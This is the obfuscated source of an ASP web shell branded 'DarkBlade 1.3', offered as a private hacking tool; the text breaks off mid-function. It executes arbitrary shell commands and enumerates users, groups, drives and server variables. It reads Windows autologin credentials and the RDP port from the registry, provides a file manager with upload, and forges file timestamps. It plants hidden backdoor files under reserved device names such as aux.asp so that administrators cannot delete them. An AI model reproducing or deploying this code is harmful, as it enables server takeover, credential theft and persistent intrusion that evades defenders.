<%@ LANGUAGE='VBScript' CODEPAGE='65001'%>

<%

Response.Buffer=True

Response.CharSet="utf-8"

Server.ScriptTimeOut=300

'-------------------------------Config-------------------------------

'Private version, do not share it to anybody!

'DarkBlade 1.3 by B100d5w0rd, msn:bloodsword@live.cn

'Final version, no more update

'Thanks to these hackers:Bin, Luyu, Sht

'pass:tencentisapieceofshit

Const pass="4788015D896C4760578FDD87E10A75"'tencentisapieceofshit

Const skw=True

Const aal=42

Const gdzvu=False

Const iul="_"

Const xkur="wjiy|ihx|fwvl|vdgad|npkn|vga|dpqnl|omh|ouo|uhuv|esard|vaxil|wxh|tncir|sxib|lifba|zxsvx|tyhwc|pbshc|qaxei|ekemb"

Const qry="login"

Const tbq="GB2312"

Const fgejg="asp|asa|cer|cdx"

Const cgj="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"

Const zphr=50

Const cwzd="abc.asp"

Const wfsr=true'

'-------------------------------Config-------------------------------

Dim goaction,wjiy,fwvl,vdgad,vga,dpqnl,vmycc,jcy,aplyi,cfho,zaydb,xbo,dhk,crk,cezb,plui,gzf,vuv,bud,juaw,omh,mtz,crxst,whov,ihx,qhgjo,wkfvm,ktsg,pykmg,jbn,aunk,qbh,kbcx,ignq,conn,ouo,lrmn,yjcj,oaquw,pswgc,lcsgr,uhuv,esard,fcz,vaxil,wxh,txmf,tncir,sxib,mzy,nqihw,zgj,tgs,qpry,koooz,mt,lifba,pbshc,zxsvx,tyhwc,lkp,ubg,simp,ndv,npkn,ajvx,wumm,ysktq,flit,zhi,rmpr,exfva,echs,gxyx,fhz,bgem,qgxl,eerrs,prlq,gsgex,nuser,npass,vsbms,ars,qaxei,ekemb,xyw,mfm,tfvyb

ajvx="DarkBlade 1.3 Private"

wumm="DarkBlade"

ysktq="DarkBl"&usm&"adePass"

jeulz()

prlq=cyjn()

If prlq Then

ssf()

Else

goaction=request("goaction")

End If

If Not prlq And goaction<>qry Then jab()

If wfsr And Trim(ids("AUTH"&uzm&"_USER"))="" Then

Response.Status="401 Unau"&wnb&"thorized"

Response.Addheader"WWW-AuThenti"&totbr&"cate","BASIC"

If ids("AUTH"&uzm&"_USER")=""Then Response.End()

End If

Select Case goaction

Case qry

waa()

Case"lgg"

ntpbe()

Case"fqx"

xzis()

Case"uvu"

qgz()

Case"cfxwz"

oixd()

Case"jznyg"

nhzwt()

Case"bbd"

bmhuh()

Case"yauzx"

vwhbt()

Case"croia"

dui()

Case"ueouq"

kjplx()

Case"oplmw"

pwz()

Case"Logout"

nvx()

Case"zep"

rxs()

Case"aeta","bjz"

nlq()

Case Else

nlq()

End Select

okxls

Sub jeulz()

If Not gdzvu Then On Error Resume Next

plui=Timer()

Dim svak,uofw,clky,lhuiq,vzznk,wtqm,miux,xaq

servurl=ids("URL")

Set jcy=wannd("MSX"&fygk&"ML2.XMLH"&uybs&"TTP")

Set aplyi=wannd("WS"&qfmd&"cript.S"&oda&"hell")

Set cfho=wannd("Scrip"&dlbgc&"ting.Fi"&xxjzd&"leSystemObject")

Set zaydb=wannd("Sh"&wzeok&"ell.Applicati"&jaoy&"on")

If Not IsObject(aplyi)Then Set aplyi=wannd("WS"&qfmd&"cript.Sh"&wzeok&"ell.1")

If Not IsObject(zaydb)Then Set zaydb=wannd("Sh"&wzeok&"ell.Applicati"&jaoy&"on.1")

Set dhk=new RegExp

dhk.Global=True

dhk.IgnoreCase=True

dhk.MultiLine=True

vmycc=ids("SERVER_NAME")

crk=ids("PATH_INFO")

cezb=Lcase(aiy(crk,"/"))

vuv=iiju(".")

bud=iiju("/")

qhgjo=1

mtz=1

End Sub

Sub ssf()

For Each uofw In request.queryString

execute uofw&"=request.queryString("""&uofw&""")"

Next

For Each svak In request.Form

execute svak&"=request.form("""&svak&""")"

Next

If InStr(ids("CONTENT_TYPE"),"multipart/form-data")=1 Then

Set ars=new upload_5xsoft

For Each clky In ars.cth

execute clky&"=ars.cth("""&clky&""")"

Next

End If

xaq=Split(xkur,"|")

For Each miux In xaq

execute""&miux&"=fkv("&miux&")"

Next

If Right(wjiy,1)="\"And Len(wjiy)>3 Then wjiy=Left(wjiy,Len(wjiy)-1)

End Sub

Sub okxls()

If Not gdzvu Then On Error Resume Next

Dim exshn

jcy.abort

Set jcy=Nothing

Set aplyi=Nothing

Set cfho=Nothing

Set zaydb=Nothing

Set dhk=Nothing

gzf=timer()

exshn=gzf-plui

echo"<br></div>"

skkkw"100%"

echo"<tr class=""head"">"

echo"<td>"

prj juaw

exshn=FormatNumber(exshn,5)

If Left(exshn,1)="."Then exshn="0"&exshn

prj"<br>"

echo"<div align=right>Processed in :"&exshn&"seconds</div></td></tr></table></body></html>"

Response.End()

End Sub

Sub waa()

If Not gdzvu Then On Error Resume Next

ndv=request("ndv")

If ndv<>""Then

ndv=qiep(ndv)

If qiep(ndv)=pass Then

Response.Cookies(ysktq)=ndv

Response.Redirect(crk)

Else

jdvsp"Fuck you,get out!"

End If

End If

uznjs"Login"

echo"<center><br>"

pppf False

echo"<b>Password : </b>"

vots"password","ndv","","30",""

echo" "

xzs"Get In"

echo"</center></form>"

End Sub

Sub nhzwt()

If Not gdzvu Then On Error Resume Next

Dim i,wvale,xkka,gyxm,qybv,cqavj,efba,jbnr,teyq,kge

gyxm="System"&rlt&"Root|Wi"&fhzy&"nDir|ComS"&jki&"pec|TEMP|TMP|NUMBER_OF_"&ngo&"PROCESSORS|OS|Os2Li"&kaehy&"bPath|Path|PAT"&fmcdc&"HEXT|PROCESSOR_AR"&tmt&"CHITECTURE|"&_

"PROCESSOR_IDEN"&rfsef&"TIfIER|PR"&xpmj&"OCESSOR_LEVEL|PROCESSOR_R"&vsd&"EVISION"

xkka=Split(gyxm,"|")

execute "Set wvale=aplyi.Environ"&kupt&"ment(""SYSTEM"")"

qybv=ids("NUMBER_OF_"&ngo&"PROCESSORS")

If IsNull(qybv)Or qybv=""Then

qybv=wvale("NUMBER_OF_"&ngo&"PROCESSORS")

End If

efba=ids("OS")

If IsNull(efba)Or efba=""Then

efba=wvale("OS")

efba=efba&"(probably Windows 2003)"

End If

cqavj=wvale("PROCESSOR_IDEN"&rfsef&"TIfIER")

uznjs"Server Infomation"

skkkw"100%"

wuosu

echo"<td colspan=""2""align=""center"">"

echo"<b>Server parameters:</b>"

echo"</td>"

jwwxg

mypdl 0

doTd"Server name:",""

doTd vmycc,""

jwwxg

mypdl 1

doTd"Server IP:",""

doTd ids("LOCAL_ADDR"),""

jwwxg

mypdl 0

doTd"Server port:",""

doTd ids("SERVER_PORT"),""

jwwxg

mypdl 1

doTd"Server Me"&vbxja&"mory",""

execute "doTd ilnuo(zaydb.GetSystemInformatio"&ucf&"n(""PhysicalMemoryInstalled"")),"""""

jwwxg

mypdl 0

doTd"Server time",""

doTd Now,""

jwwxg

mypdl 1

doTd"Server soft",""

doTd ids("SERVER_SOFTWARE"),""

jwwxg

mypdl 0

doTd"Script timeout",""

doTd Server.ScriptTimeout,""

jwwxg

mypdl 1

doTd"Number of cpus",""

doTd qybv,""

jwwxg

mypdl 0

doTd"Info of cpus",""

doTd cqavj,""

jwwxg

mypdl 1

doTd"Server OS",""

doTd efba,""

jwwxg

mypdl 0

doTd"Server script engine",""

doTd ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion,""

jwwxg

mypdl 1

doTd"File full path",""

doTd ids("PATH_TRANSLATED"),""

jwwxg

mtz=0

For i=0 To UBound(xkka)

mypdl mtz

doTd xkka(i)&":",""

execute "doTd aplyi.ExpandEnviro"&xqk&"nmentStrings(""%""&xkka(i)&""%""),"""""

jwwxg

cdama

Next

iroyi

byv(Err)

echo"<br>"

Set wvale=Nothing

Dim bne

skkkw"100%"

wuosu

echo"<td colspan=""6""align=""center"">"

echo"<b>Info of disks</b>"

echo"</td>"

jwwxg

mypdl 0

doTd"Driver letter",""

doTd"Type",""

doTd"Label",""

doTd"File system",""

doTd"Space left",""

doTd"Total space",""

jwwxg

mtz=1

For Each bne In cfho.Drives

Dim oclje,lrlrz,udech,lsx,euya,rgzjr

oclje=bne.DriveLetter

If Lcase(oclje)<>"a"Then

lrlrz=jzf(bne.DriveType)

udech=bne.VolumeName

lsx=bne.Filesystem

euya=ilnuo(bne.FreeSpace)

execute "rgzjr=ilnuo(bne.To"&rfomh&"talSize)"

mypdl mtz

doTd oclje,""

doTd lrlrz,""

doTd udech,""

doTd lsx,""

doTd euya,""

doTd rgzjr,""

jwwxg

End If

oclje=""

lrlrz=""

udech=""

lsx=""

euya=""

rgzjr=""

cdama

Next

iroyi

byv(Err)

Set bne=Nothing

Dim pswk

Set pswk=cfho.GetFolder(bud)

echo"<br>"

skkkw"100%"

wuosu

echo"<td colspan=""2""align=""center"">"

echo"<b>Info of site:</b>"

echo"</td>"

jwwxg

mypdl 0

doTd"Phys"&xuohe&"ical path:",""

doTd bud,""

jwwxg

mypdl 1

doTd"Current size:",""

doTd ilnuo(pswk.Size),""

jwwxg

mypdl 0

doTd"File count:",""

doTd pswk.Files.Count,""

jwwxg

mypdl 1

doTd"Folder count:",""

doTd pswk.SubFolders.Count,""

jwwxg

iroyi

byv(Err)

prj"<br>"

Dim qddd,vhj,igyy

Dim lfxh,nye,fdxb,jqjr

jbnr="HKEY_LOCAL_MACHINE\SYSTEM\Curren"&ghfkv&"tControlSet\Control\Termin"&ifbxw&"al Server\Win"&zoh&"Stations\RDP-"&wrty&"Tcp\"

teyq="PortNumber"

kge=bytxz(jbnr&teyq)

If kge=""Then kge="Can't get Termin"&ifbxw&"al port.<br/>"

qddd="HK"&gsw&"LM\SOFTWA"&qwse&"RE\Microsoft\Windows "&gud&"NT\Cur"&rtcm&"rentVersion\Wi"&atnga&"nlogon\"

nye="Au"&zbich&"toAdminLogon"

vhj="DefaultUser"&ktus&"Name"

igyy="Def"&krvi&"aultPassword"

lfxh=bytxz(qddd&nye)

If lfxh=0 Then

fdxb="Autologin isn't enabled"

Else

fdxb=bytxz(qddd&vhj)

End If

If lfxh=0 Then

jqjr="Autologin isn't enabled"

Else

jqjr=bytxz(qddd&igyy)

End If

skkkw"100%"

wuosu

echo"<td colspan=""2""align=""center"">"

echo"<b>Info of Termin"&ifbxw&"al port&Autologin</b>"

echo"</td>"

jwwxg

mypdl 0

doTd"Termin"&ifbxw&"al port:",""

doTd kge,""

jwwxg

mypdl 1

doTd"Autologin account:",""

doTd fdxb,""

jwwxg

mypdl 0

doTd"Autologin password:",""

doTd jqjr,""

jwwxg

iroyi

echo"</ol>"

byv(Err)

End Sub

Sub ntpbe()

Dim i,ojk,nyfm,llbqt

nyfm="MSW"&olie&"C.AdRotator,MSW"&olie&"C.BrowserTy"&vhynu&"pe,MSW"&olie&"C.NextLink,MSW"&olie&"C.TOOLS,MSW"&olie&"C.Status,MSW"&olie&"C.Counters,IISSam"&wjl&"ple.ContentRotat"&dyb&"or,IISSam"&wjl&"ple.Pa"&dvvv&"geCounter,MSW"&olie&"C.Permission"&tczi&"Checker,Ad"&rgc&"odb.Conne"&ytwmf&"ction,SoftA"&zjru&"rtisans.Fi"&vjtoc&"leUp,SoftA"&zjru&"rtisans.FileMana"&dzya&"ger,LyfUpload.UploadFile,Pe"&mqqr&"rsits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Pe"&mqqr&"rsits.Mailsender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftA"&zjru&"rtisans.ImageGen,W3Image.Image,Scrip"&dlbgc&"ting.Fi"&xxjzd&"leSystemObject,Ad"&rgc&"odb.St"&jgcbg&"ream,Sh"&wzeok&"ell.Applicati"&jaoy&"on,Sh"&wzeok&"ell.Applicati"&jaoy&"on.1,WS"&qfmd&"cript.S"&oda&"hell,WS"&qfmd&"cript.Sh"&wzeok&"ell.1,WS"&qfmd&"cript.Network,hzhost.modules"

llbqt="Ad Rotator,Browser info,NextLink,,,Counters,Content rotator,,Permission checker,ADODB connection,SA-FileUp,SoftArtisans FileManager,LyfUpload,ASPUpload,Dimac upload,Dimac JMail,CDONTS SMTP mail,ASPemail,ASPmail,dkQmail,Geocel mail,IISmail,SmtpMail,SoftArtisans ImageGen,Dimac W3Image,FSO,Stream ,,,,,,Hzhost module"

aryObjectList=Split(nyfm,",")

aryDscList=Split(llbqt,",")

uznjs"Server Object Probe"

echo"Check for other ObjectId or ClassId.<br>"

pppf True

vots"text","omh",omh,50,""

echo" "

xzs"Check"

xpor

If omh<>""Then

rwxiy

Call sikc(omh,"")

echo"</ul>"

End If

echo"<hr/>"

echo"<ul class=""info""><li><u>Object name</u>Status and more</li>"

For i=0 To UBound(aryDscList)

Call sikc(aryObjectList(i),aryDscList(i))

Next

echo"</ul><hr/>"

End Sub

Sub xzis()

Dim kns,zoiz,dowwj

uznjs"Users and Groups Imformation"

Set dowwj=getObj("WinNT://.")

dowwj.Filter=Array("User")

slv"User",False

skkkw"100%"

For Each kns in dowwj

wuosu

echo"<td colSpan=""2""align=""center""><b>"&kns.Name&"</b></td>"

jwwxg

ejh(kns.Name)

Next

iroyi

echo"</span><br>"

byv(Err)

slv"UserGroup",False

dowwj.Filter=Array("Group")

skkkw"100%"

mtz=1

For Each zoiz in dowwj

mypdl mtz

doTd zoiz.Name,""

doTd zoiz.Description,""

jwwxg

cdama

Next

iroyi

echo"</span>"

byv(Err)

End Sub

Sub qgz()

If Not gdzvu Then On Error Resume Next

Dim gob,xcas,spjc,xhs

If crxst<>""Then Session(crxst)=whov

uznjs"Server-Client Information"

slv"ServerVariables",True

skkkw"100%"

mtz=1

For Each spjc In Request.ServerVariables

mypdl mtz

agb spjc

doTd ids(spjc),""

jwwxg

cdama

Next

iroyi

prj"</span><br>"

slv"Application",True

skkkw"100%"

mtz=1

For Each spjc In Application.Contents

mypdl mtz

agb spjc

doTd uhu(Application(spjc)),""

jwwxg

cdama

Next

iroyi

prj"</span><br>"

slv"Session",True

echo"<br>(ID"&Session.SessionId&")"

skkkw"100%"

mtz=1

For Each spjc In Session.Contents

xhs=Session(spjc)

mypdl mtz

agb spjc

doTd uhu(xhs),""

jwwxg

cdama

Next

mypdl mtz

pppf False

ckzt"Set Session","20%"

echo"<td width=""80%""> Key :"

vots"text","crxst","",30,""

echo"Value :"

vots"text","whov","",30,""

echo"</td>"

xpor

jwwxg

iroyi

prj"</span><br>"

slv"Cookies",True

skkkw"100%"

mtz=1

For Each spjc In Request.Cookies

If Request.Cookies(spjc).HasKeys Then

For Each gob In Request.Cookies(spjc)

mypdl mtz

agb spjc&"("&gob&")"

doTd uhu(Request.Cookies(spjc)(gob)),""

jwwxg

cdama

Next

Else

mypdl mtz

agb spjc

doTd uhu(Request.Cookies(spjc)),""

jwwxg

cdama

End If

Next

iroyi

echo"</span>"

byv(Err)

End Sub

Sub oixd()

Dim ufwx,cmj

If Not gdzvu Then On Error Resume Next

uznjs("WS"&qfmd&"cript.S"&oda&"hell Execute")

If ihx<>""Then

If InStr(Lcase(ihx),"cmd.exe")>0 And InStr(fwvl,"/c ")<1 Then

cmj=ihx&" /c "&fwvl

Else

cmj=ihx&" "&fwvl

End If

If fhz=1 Then

execute "ufwx=aplyi.Ex"&zdqq&"ec(cmj).StdOut.R"&mzk&"eadAll()"

Else

execute "aplyi.Ru"&med&"n cmj,0,False"

End If

byv(Err)

Else

ihx="cmd.exe"

End If

skkkw"100%"

pppf True

mypdl 1

doTd"Path","20%"

gsj"text","ihx",ihx,"60%","",""

echo"<td>"

rfc"fhz",1," View result ","checked"

xzs"Run"

echo"</td>"

jwwxg

mypdl 0

doTd"Parameters",""

gsj"text","fwvl",fwvl,"","","2"

jwwxg

xpor

iroyi

echo"<hr><b>Result:</b><br><span class=""alt1Span"">"&uhu(ufwx)&"</span>"

byv(Err)

End Sub

Sub nlq()

If Not gdzvu Then On Error Resume Next

If wjiy=""Then wjiy=dpqnl

If wjiy=""Then wjiy=vuv

If goaction<>"aeta"Then goaction="bjz"

If wkfvm="down"Then

ijv()

Response.End()

End If

If goaction="bjz"Then

jbn="fso"

uznjs("FSO File Explorer")

Else

jbn="sa"

uznjs("APP File Explorer")

End If

Select Case wkfvm

Case"aay","ohp"

lbhn()

wjiy=snqsz(wjiy,"\",False)

Case"cnd"

cnd()

Case"save","kcbe"

oubu()

wjiy=snqsz(wjiy,"\",False)

Case"uqezp"

myccq()

Case"omt","uen"

omt()

Case"vhjf","gnfr"

wstda()

wjiy=snqsz(wjiy,"\",False)

Case"wkicu","okio","ehwr","cmhk"

xms()

wjiy=snqsz(wjiy,"\",False)

Case"upi"

dhj()

Case"sxg"

crj()

wjiy=snqsz(wjiy,"\",False)

Case"qvihx"

beyb()

End Select

If Len(wjiy)<3 Then wjiy=wjiy&"\"

pwbo()

End Sub

Sub pwbo()

Dim theFolder,ujq,rzpu,qot,taef,ehlw,qnzov,ydc

If Not gdzvu Then On Error Resume Next

If jbn="fso"Then

Set theFolder=cfho.GetFolder(wjiy)

qot=cfho.GetParentFolderName(wjiy)

Else

execute "Set theFolder=zaydb.Nam"&elq&"eSpace(wjiy)"

jplxa Err

qot=snqsz(wjiy,"\",False)

If InStr(qot,"\")<1 Then

qot=qot&"\"

End If

End If

ydc=wjiy

If Right(ydc,1)<>"\"Then ydc=ydc&"\"

olisd"ydc",ydc

pppf True

echo"<b>Current Path :</b>"

vots"text","wjiy",wjiy,120,""

prj""

arqt"","170px","onchange=""javascript:if(this.value!=''){xzs('"&goaction&"','',this.value);}"""

isbb"","Drivers/Comm folders"

isbb uhu(iiju(".")),"."

isbb uhu(iiju("/")),"/"

isbb"","----------------"

If Lcase(jbn)="fso"Then

For Each drive In cfho.Drives

execute "isbb drive.D"&wnz&"riveLetter&"":\"",drive.D"&wnz&"riveLetter&"":\"""

Next

isbb"","----------------"

End If

isbb"C:\Program Files","C:\Program Files"

isbb"C:\Program Files\RhinoSoft.com","RhinoSoft.com"

isbb"C:\Program Files\Ser"&tpzkq&"v-U","Ser"&tpzkq&"v-U"

isbb"C:\Program Files\Rad"&qjt&"min","Rad"&qjt&"min"

isbb"C:\Program Files\Microsoft SQL Server","Mssql"

isbb"C:\Program Files\Mysql","Mysql"

isbb"","----------------"

isbb"C:\Documents and Settings\All Users","All Users"

isbb"C:\Documents and Settings\All Users\Documents","Documents"

isbb"C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere"

isbb"C:\Documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs"

isbb"","----------------"

isbb"D:\Program Files","D:\Program Files"

isbb"D:\Ser"&tpzkq&"v-U","D:\Ser"&tpzkq&"v-U"

isbb"D:\Rad"&qjt&"min","D:\Rad"&qjt&"min"

isbb"D:\Mysql","D:\Mysql"

iesnd

xzs"Go"

xpor

prj"<br><form method=""post"" id=""upform""action="""&crk&"""enctype=""multipart/form-data"">"

olisd"wkfvm","uqezp"

olisd"wjiy",wjiy

skkkw"60%"

mypdl 1

gsj"file","upfile","","30%","",""

doTd"Save As :","15%"

gsj"text","qaxei","","30%","",""

gsj"button",""," Upload ","20%","onClick=""javascript:xzs('"&goaction&"','uqezp','')""",""

jwwxg

xpor

If jbn="fso"Then

mypdl 0

pppf True

olisd"wjiy",wjiy

olisd"wkfvm","cnd"

gsj"text","qbh","","","",""

echo"<td colspan='2'>"

vots"radio","kbcx","file","","checked"

echo"File"

vots"radio","kbcx","folder","",""

echo"Folder</td>"

ckzt"New one",""

'gsj"button","makedoor","Make backdoor","","onClick=""javascript:xzs('"&goaction&"','qvihx','"&omrpv(wjiy)&"')""",""

xpor

jwwxg

End If

echo"</table><hr>"

If jbn="fso"Then

If Not cfho.FolderExists(wjiy)Then

jdvsp wjiy&" Folder dosen't exists or access denied!"

okxls

End If

End If

slv"Folders",False

skkkw"100%"

wuosu

doTd"<b>Folder name</b>",""

doTd"<b>Size</b>",""

doTd"<b>Last modIfied</b>",""

echo"<td><b>Action</b>"

If jbn="fso"Then

echo" - "

fach goaction,"qvihx",omrpv(wjiy),"Make a hidden backdoor here",""

End If

echo"</td>"

jwwxg

mypdl 0

echo"<td colspan=""4"">"

fach goaction,"",omrpv(qot),"Parent Directory",""

echo"</td>"

jwwxg

mtz=1

If jbn="fso"Then

For Each objX In theFolder.SubFolders

qnzov=objX.DateLastModIfied

mypdl mtz

echo"<td>"

fach goaction,"",objX.Name,objX.Name,""

echo"</td>"

doTd uhu("<dir>"),""

doTd qnzov,""

echo"<td>"

fach goaction,"ehwr",objX.Name,"Copy"," -"

fach goaction,"cmhk",objX.Name,"Move"," -"

fach goaction,"gnfr",objX.Name,"Rename"," -"

fach "zep","kmulx",objX.Name,"Package"," -"

fach goaction,"ohp",objX.Name,"Delete",""

prj"</td>"

jwwxg

cdama

Next

Else

For Each objX In theFolder.Items

If objX.IsFolder Then

qnzov=theFolder.GetDetailsOf(objX,3)

mypdl mtz

echo"<td>"

fach goaction,"",objX.Name,objX.Name,""

echo"</td>"

doTd uhu("<dir>"),""

doTd qnzov,""

echo"<td>"

fach goaction,"gnfr",objX.Name,"Rename"," -"

fach "zep","bbn",objX.Name,"Package",""

prj"</td>"

jwwxg

cdama

End If

Next

End If

iroyi

prj"</span><br>"

slv"Files",False

skkkw"100%"

echo"<b>"

wuosu

doTd"<b>File name</b>",""

doTd"<b>Size</b>",""

doTd"<b>Last modIfied</b>",""

doTd"<b>Action</b>",""

jwwxg

echo"</b>"

mtz=0

If jbn="fso"Then

For Each objX In theFolder.Files

taef=ilnuo(objX.Size)

qnzov=objX.DateLastModIfied

If Lcase(Left(objX.Path,Len(bud)))<>Lcase(bud) Then

ujq=""

Else

ujq=Replace(Replace(lcbr(Mid(objX.Path,Len(bud)+1)),"%2E","."),"+","%20")

End If

mypdl mtz

If ujq=""Then

doTd objX.Name,""

Else

doTd"<a href='"&Replace(ujq,"%5C","/")&"' target=_blank>"&objX.Name&"</a>",""

End If

doTd taef,""

doTd qnzov,""

echo"<td>"

fach goaction,"omt",objX.Name,"Edit"," -"

fach goaction,"wkicu",objX.Name,"Copy"," -"

fach goaction,"okio",objX.Name,"Move"," -"

fach goaction,"vhjf",objX.Name,"Rename"," -"

fach goaction,"down",objX.Name,"Down"," -"

fach goaction,"upi",objX.Name,"Attributes"," -"

tcpp "oyhh",objX.Name,"","","","Database"," -"

fach goaction,"aay",objX.Name,"Delete",""

prj"</td>"

jwwxg

cdama

Next

Else

For Each objX In theFolder.Items

If Not objX.IsFolder Then

Dim wqifc

wqifc=aiy(objX.Path,"\")

ehlw=omrpv(objX.Path)

taef=theFolder.GetDetailsOf(objX,1)

qnzov=theFolder.GetDetailsOf(objX,3)

If Lcase(Left(objX.Path,Len(bud)))<>Lcase(bud) Then

ujq=""

Else

ujq=Replace(Replace(lcbr(Mid(objX.Path,Len(bud)+1)),"%2E","."),"+","%20")

End If

mypdl mtz

If ujq=""Then

doTd aiy(objX.Path,"\"),""

Else

doTd"<a href='"&Replace(ujq,"%5C","/")&"' target=_blank>"& aiy(objX.Path,"\")&"</a>",""

End If

doTd taef,""

doTd qnzov,""

echo"<td>"

fach goaction,"omt",wqifc,"Edit"," -"

fach goaction,"vhjf",wqifc,"Rename"," -"

fach goaction,"down",wqifc,"Down"," -"

fach goaction,"upi",wqifc,"Attributes"," -"

tcpp "oyhh",wqifc,"","","","Database",""

prj"</td>"

jwwxg

cdama

End If

Next

End If

iroyi

echo"</span>"

byv(Err)

End Sub

Sub dhj()

Dim xczkn,zbku,sib,jet,iihmx,ydqp,jmdc,kuce

If Not gdzvu Then On Error Resume Next

If IsObject(cfho)Then

Set xczkn=cfho.GetFile(wjiy)

End If

If IsObject(zaydb)Then

jmdc=snqsz(wjiy,"\",False)

sib=aiy(wjiy,"\")

execute "Set ydqp=zaydb.Nam"&swz&"eSpace(jmdc)"

Set zbku=ydqp.ParseName(sib)

End If

echo"<center>"

skkkw"60%"

pppf True

olisd"wkfvm","sxg"

olisd"wjiy",wjiy

mypdl 1

ckzt"Set / Clone",""

doTd wjiy,""

jwwxg

mypdl 0

doTd"Attributes",""

If IsObject(cfho)Then

iihmx=xczkn.Attributes

jet="<input type=checkbox name=eerrs value=4 class='input' {$system}>system "

jet=jet&"<input type=checkbox name=eerrs value=2 class='input' {$hidden}>hide "

jet=jet&"<input type=checkbox name=eerrs value=1 class='input' {$readonly}>readonly "

jet=jet&"<input type=checkbox name=eerrs value=32 class='input' {$archive}>save "

If iihmx>=128 Then iihmx=iihmx-128

If iihmx>=64 Then iihmx=iihmx-64

If iihmx>=32 Then

iihmx=iihmx-32

jet=Replace(jet,"{$archive}","checked")

End If

If iihmx>=16 Then iihmx=iihmx-16

If iihmx>=8 Then iihmx=iihmx-8

If iihmx>=4 Then

iihmx=iihmx-4

jet=Replace(jet,"{$system}","checked")

End If

If iihmx>=2 Then

iihmx=iihmx-2

jet=Replace(jet,"{$hidden}","checked")

End If

If iihmx>=1 Then

iihmx=iihmx-1

jet=Replace(jet,"{$readonly}","checked")

End If

doTd jet,""

Else

doTd"FSO object disabled,can't get/Set attributes -_-~!",""

End If

jwwxg

If IsObject(zaydb)Then

mypdl 1

doTd"Date created",""

doTd ydqp.GetDetailsOf(zbku,4),""

jwwxg

mypdl 0

doTd"Date last modIfied",""

gsj"text","bgem",ydqp.GetDetailsOf(zbku,3),"","",""

jwwxg

mypdl 1

doTd"Date last accessed",""

doTd ydqp.GetDetailsOf(zbku,5),""

jwwxg

Else

mypdl 1

doTd"Date created",""

execute "doTd xczkn.Da"&trkgr&"teCreated,"""""

jwwxg

mypdl 0

doTd"Date last modIfied",""

doTd xczkn.DateLastModIfied,""

jwwxg

mypdl 1

doTd"Date last accessed",""

doTd xczkn.DateLastAccessed,""

jwwxg

End If

mypdl 0

If IsObject(zaydb)Then

doTd"Clone time ",""

echo"<td>"

arqt"qgxl","100%",""

isbb "","Do not clone"

For Each objX In ydqp.Items

If Not objX.IsFolder Then

kuce=aiy(objX.Path,"\")

isbb kuce,ydqp.GetDetailsOf(ydqp.ParseName(kuce),3)&" --- "&kuce

End If

Next

Else

echo"<td colspan=2>App object disabled,can't modIfy time -_-~!</td>"

End If

iroyi

xpor

okxls()

End Sub

Sub crj()

If Not gdzvu Then On Error Resume Next

Dim jocm,xczkn,jmdc,sib,ydqp,zbku

If IsObject(cfho)Then

Set xczkn=cfho.GetFile(wjiy)

End If

If IsObject(zaydb)Then

jmdc=snqsz(wjiy,"\",False)

sib=aiy(wjiy,"\")

execute "Set ydqp=zaydb.Nam"&swz&"eSpace(jmdc)"

Set zbku=ydqp.ParseName(sib)

End If

If eerrs<>""Then

eerrs=Split(Replace(eerrs," ",""),",")

For i=0 To UBound(eerrs)

jocm=jocm+CInt(eerrs(i))

Next

xczkn.Attributes=jocm

If Err Then

byv(Err)

Else

jdvsp"Attributes modIfied"

End If

End If

If qgxl=""Then

If bgem<>"" And IsDate(bgem)Then

zbku.ModIfyDate=bgem

If Err Then

byv(Err)

Else

jdvsp"Time modIfied"

End If

End If

Else

zbku.ModIfyDate=ydqp.GetDetailsOf(ydqp.ParseName(qgxl),3)

If Err Then

byv(Err)

Else

jdvsp"Time modIfied"

End If

End If

End Sub

Sub beyb()

If fileName<>""Then

Dim viu,tsuct

viu="\\.\"&wjiy&"\"&fileName

If tfvyb=1 Then

execute "Call cfho.M"&kmvta&"oveFile(ids(""PATH_TRANSLATED""),viu)"

Set tsuct=cfho.GetFile(viu)

tsuct.Attributes=6

Response.Redirect(fileName)

Else

pjby viu,aunk

Set tsuct=cfho.GetFile(viu)

tsuct.Attributes=6

End If

If Err Then

byv(err)

Else

jdvsp("Backdoor established,have fun.")

End If

Exit Sub

End If

pppf True

skkkw"100%"

olisd"wkfvm","qvihx"

prj"<b>Make hidden backdoor</b><br>"

skkkw"100%"

mypdl 1

doTd"Path","20%"

gsj"text","wjiy",wjiy,"60%","",""

ckzt"Save","20%"

jwwxg

mypdl 0

doTd"Content",""

wdjc "aunk","",10

echo"<td>"

rfc"tfvyb",1,"Move myself there","onclick='javascript:document.getElementById(""aunk"").disabled=this.checked'"

echo"</td>"

jwwxg

mypdl 1

echo"<td>"

arqt"fileName","100%",""

isbb"aux.asp","aux.asp"

isbb"con.asp","con.asp"

isbb"com1.asp","com1.asp"

isbb"com2.asp","com2.asp"

isbb"nul.asp","nul.asp"

isbb"prn.asp","prn.asp"

iesnd

echo"</td>"

prj"<td colspan='2'>Cannot del,cannot open in ordinary way,this will drive the web administrator madness :)</td>"

jwwxg

iroyi

xpor

okxls

End Sub

Sub bmhuh()

If Not gdzvu Then On Error Resume Next

If vdgad=""Then vdgad=Request.Cookies(wumm&"vdgad")